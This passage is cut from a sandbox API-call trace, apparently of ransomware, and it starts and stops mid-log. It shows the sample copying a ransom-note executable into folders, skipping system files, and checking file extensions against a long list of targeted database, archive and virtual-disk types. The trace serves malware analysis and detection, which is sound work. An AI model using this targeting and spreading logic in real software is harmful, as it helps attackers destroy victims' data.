cAlternateFileName="ALLUSE~1")) returned 1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="temp") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="pagefile.sys") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="boot") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="ids.txt") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="perflogs") returned -1 [0034.244] lstrcmpiW (lpString1="All Users", lpString2="MSBuild") returned -1 [0034.245] lstrlenW (lpString="All Users") returned 9 [0034.245] lstrcpyW (in: lpString1=0x241e860, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0034.245] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users", dwFileAttributes=0x2010) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509008 [0034.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2c) returned 0x51a7f8 [0034.245] lstrcatW (in: lpString1="All Users", lpString2="\\" | out: lpString1="All Users\\") returned="All Users\\" [0034.245] lstrcatW (in: lpString1="All Users\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="All Users\\HOW TO BACK YOUR FILES.exe") returned="All Users\\HOW TO BACK YOUR FILES.exe" [0034.245] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.249] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc30f380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.249] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.249] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc30f380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0034.249] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.249] ReleaseMutex (hMutex=0xec) returned 1 [0034.249] CloseHandle (hObject=0xec) returned 1 [0034.249] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0034.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518078 | out: hHeap=0x4f0000) returned 1 [0034.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509020 | out: hHeap=0x4f0000) returned 1 [0034.249] lstrlenW (lpString="C:\\Program Files") returned 16 [0034.249] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\385A542F0EB9478E4D63C0F87565DA1E") returned 0xec [0034.249] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.249] lstrcatW (in: lpString1="", lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0034.249] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.249] CreateFileW (lpFileName="C:\\Program Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.250] GetLastError () returned 0x0 [0034.250] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.250] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.250] CloseHandle (hObject=0xf4) returned 1 [0034.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.250] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.250] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.250] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.250] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.250] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.250] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.250] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.250] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.250] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.250] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xac65cca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac65cca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="windows") returned -1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="bootmgr") returned 1 [0034.250] lstrcmpiW (lpString1="Common Files", lpString2="temp") returned -1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="pagefile.sys") returned -1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="boot") returned 1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="ids.txt") returned -1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="ntuser.dat") returned -1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="perflogs") returned -1 [0034.251] lstrcmpiW (lpString1="Common Files", lpString2="MSBuild") returned -1 [0034.251] lstrlenW (lpString="Common Files") returned 12 [0034.251] lstrcpyW (in: lpString1=0x241e86a, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files" [0034.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509020 [0034.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f520 [0034.251] lstrcatW (in: lpString1="Common Files", lpString2="\\" | out: lpString1="Common Files\\") returned="Common Files\\" [0034.251] lstrcatW (in: lpString1="Common Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Common Files\\HOW TO BACK YOUR FILES.exe") returned="Common Files\\HOW TO BACK YOUR FILES.exe" [0034.251] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.254] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0034.254] lstrlenW (lpString="desktop.ini") returned 11 [0034.254] lstrcpyW (in: lpString1=0x241e86a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0034.254] lstrlenW (lpString="desktop.ini") returned 11 [0034.254] lstrlenW (lpString="Athena865") returned 9 [0034.254] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0034.254] lstrlenW (lpString=".dll") returned 4 [0034.254] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0034.254] lstrlenW (lpString=".lnk") returned 4 [0034.255] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0034.255] lstrlenW (lpString=".ini") returned 4 [0034.255] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0034.255] lstrlenW (lpString=".sys") returned 4 [0034.255] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0034.255] lstrlenW (lpString="desktop.ini") returned 11 [0034.255] lstrlenW (lpString="bak") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0034.255] lstrlenW (lpString="ba_") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0034.255] lstrlenW (lpString="dbb") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0034.255] lstrlenW (lpString="vmdk") returned 4 [0034.255] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0034.255] lstrlenW (lpString="rar") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0034.255] lstrlenW (lpString="zip") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0034.255] lstrlenW (lpString="tgz") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0034.255] lstrlenW (lpString="vbox") returned 4 [0034.255] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0034.255] lstrlenW (lpString="vdi") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0034.255] lstrlenW (lpString="vhd") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0034.255] lstrlenW (lpString="vhdx") returned 4 [0034.255] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0034.255] lstrlenW (lpString="avhd") returned 4 [0034.255] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0034.255] lstrlenW (lpString="db") returned 2 [0034.255] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0034.255] lstrlenW (lpString="db2") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0034.255] lstrlenW (lpString="db3") returned 3 [0034.255] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0034.255] lstrlenW (lpString="dbf") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0034.256] lstrlenW (lpString="mdf") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0034.256] lstrlenW (lpString="mdb") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0034.256] lstrlenW (lpString="sql") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0034.256] lstrlenW (lpString="sqlite") returned 6 [0034.256] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0034.256] lstrlenW (lpString="sqlite3") returned 7 [0034.256] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0034.256] lstrlenW (lpString="sqlitedb") returned 8 [0034.256] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0034.256] lstrlenW (lpString="xml") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0034.256] lstrlenW (lpString="$er") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0034.256] lstrlenW (lpString="4dd") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0034.256] lstrlenW (lpString="4dl") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0034.256] lstrlenW (lpString="^^^") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0034.256] lstrlenW (lpString="abs") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0034.256] lstrlenW (lpString="abx") returned 3 [0034.256] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0034.256] lstrlenW (lpString="accdb") returned 5 [0034.256] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0034.256] lstrlenW (lpString="accdc") returned 5 [0034.256] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0034.256] lstrlenW (lpString="accde") returned 5 [0034.256] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0034.256] lstrlenW (lpString="accdr") returned 5 [0034.256] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0034.256] lstrlenW (lpString="accdt") returned 5 [0034.257] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0034.257] lstrlenW (lpString="accdw") returned 5 [0034.257] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0034.257] lstrlenW (lpString="accft") returned 5 [0034.257] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0034.257] lstrlenW (lpString="adb") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.257] lstrlenW (lpString="adb") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.257] lstrlenW (lpString="ade") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0034.257] lstrlenW (lpString="adf") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0034.257] lstrlenW (lpString="adn") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0034.257] lstrlenW (lpString="adp") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0034.257] lstrlenW (lpString="alf") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0034.257] lstrlenW (lpString="ask") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0034.257] lstrlenW (lpString="btr") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0034.257] lstrlenW (lpString="cat") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0034.257] lstrlenW (lpString="cdb") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0034.257] lstrlenW (lpString="ckp") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0034.257] lstrlenW (lpString="cma") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0034.257] lstrlenW (lpString="cpd") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0034.257] lstrlenW (lpString="dacpac") returned 6 [0034.257] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0034.257] lstrlenW (lpString="dad") returned 3 [0034.257] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0034.258] lstrlenW (lpString="dadiagrams") returned 10 [0034.258] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0034.258] lstrlenW (lpString="daschema") returned 8 [0034.258] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0034.258] lstrlenW (lpString="db-journal") returned 10 [0034.258] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0034.258] lstrlenW (lpString="db-shm") returned 6 [0034.258] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0034.258] lstrlenW (lpString="db-wal") returned 6 [0034.258] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0034.258] lstrlenW (lpString="dbc") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0034.258] lstrlenW (lpString="dbs") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0034.258] lstrlenW (lpString="dbt") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0034.258] lstrlenW (lpString="dbv") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0034.258] lstrlenW (lpString="dbx") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0034.258] lstrlenW (lpString="dcb") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0034.258] lstrlenW (lpString="dct") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0034.258] lstrlenW (lpString="dcx") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0034.258] lstrlenW (lpString="ddl") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0034.258] lstrlenW (lpString="dlis") returned 4 [0034.258] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0034.258] lstrlenW (lpString="dp1") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0034.258] lstrlenW (lpString="dqy") returned 3 [0034.258] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0034.258] lstrlenW (lpString="dsk") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0034.259] lstrlenW (lpString="dsn") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0034.259] lstrlenW (lpString="dtsx") returned 4 [0034.259] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0034.259] lstrlenW (lpString="dxl") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0034.259] lstrlenW (lpString="eco") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0034.259] lstrlenW (lpString="ecx") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0034.259] lstrlenW (lpString="edb") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0034.259] lstrlenW (lpString="epim") returned 4 [0034.259] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0034.259] lstrlenW (lpString="fcd") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0034.259] lstrlenW (lpString="fdb") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0034.259] lstrlenW (lpString="fic") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0034.259] lstrlenW (lpString="flexolibrary") returned 12 [0034.259] lstrlenW (lpString="fm5") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0034.259] lstrlenW (lpString="fmp") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0034.259] lstrlenW (lpString="fmp12") returned 5 [0034.259] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0034.259] lstrlenW (lpString="fmpsl") returned 5 [0034.259] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0034.259] lstrlenW (lpString="fol") returned 3 [0034.259] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0034.260] lstrlenW (lpString="fp3") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0034.260] lstrlenW (lpString="fp4") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0034.260] lstrlenW (lpString="fp5") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0034.260] lstrlenW (lpString="fp7") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0034.260] lstrlenW (lpString="fpt") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0034.260] lstrlenW (lpString="frm") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0034.260] lstrlenW (lpString="gdb") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.260] lstrlenW (lpString="gdb") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.260] lstrlenW (lpString="grdb") returned 4 [0034.260] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0034.260] lstrlenW (lpString="gwi") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0034.260] lstrlenW (lpString="hdb") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0034.260] lstrlenW (lpString="his") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0034.260] lstrlenW (lpString="ib") returned 2 [0034.260] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0034.260] lstrlenW (lpString="idb") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0034.260] lstrlenW (lpString="ihx") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0034.260] lstrlenW (lpString="itdb") returned 4 [0034.260] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0034.260] lstrlenW (lpString="itw") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0034.260] lstrlenW (lpString="jet") returned 3 [0034.260] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0034.260] lstrlenW (lpString="jtx") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0034.261] lstrlenW (lpString="kdb") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0034.261] lstrlenW (lpString="kexi") returned 4 [0034.261] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0034.261] lstrlenW (lpString="kexic") returned 5 [0034.261] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0034.261] lstrlenW (lpString="kexis") returned 5 [0034.261] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0034.261] lstrlenW (lpString="lgc") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0034.261] lstrlenW (lpString="lwx") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0034.261] lstrlenW (lpString="maf") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0034.261] lstrlenW (lpString="maq") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0034.261] lstrlenW (lpString="mar") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0034.261] lstrlenW (lpString="marshal") returned 7 [0034.261] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0034.261] lstrlenW (lpString="mas") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0034.261] lstrlenW (lpString="mav") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0034.261] lstrlenW (lpString="maw") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0034.261] lstrlenW (lpString="mdbhtml") returned 7 [0034.261] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0034.261] lstrlenW (lpString="mdn") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0034.261] lstrlenW (lpString="mdt") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0034.261] lstrlenW (lpString="mfd") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0034.261] lstrlenW (lpString="mpd") returned 3 [0034.261] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0034.262] lstrlenW (lpString="mrg") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0034.262] lstrlenW (lpString="mud") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0034.262] lstrlenW (lpString="mwb") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0034.262] lstrlenW (lpString="myd") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0034.262] lstrlenW (lpString="ndf") returned 3 [0034.262] lstrcmpiW (lpString1="ini", 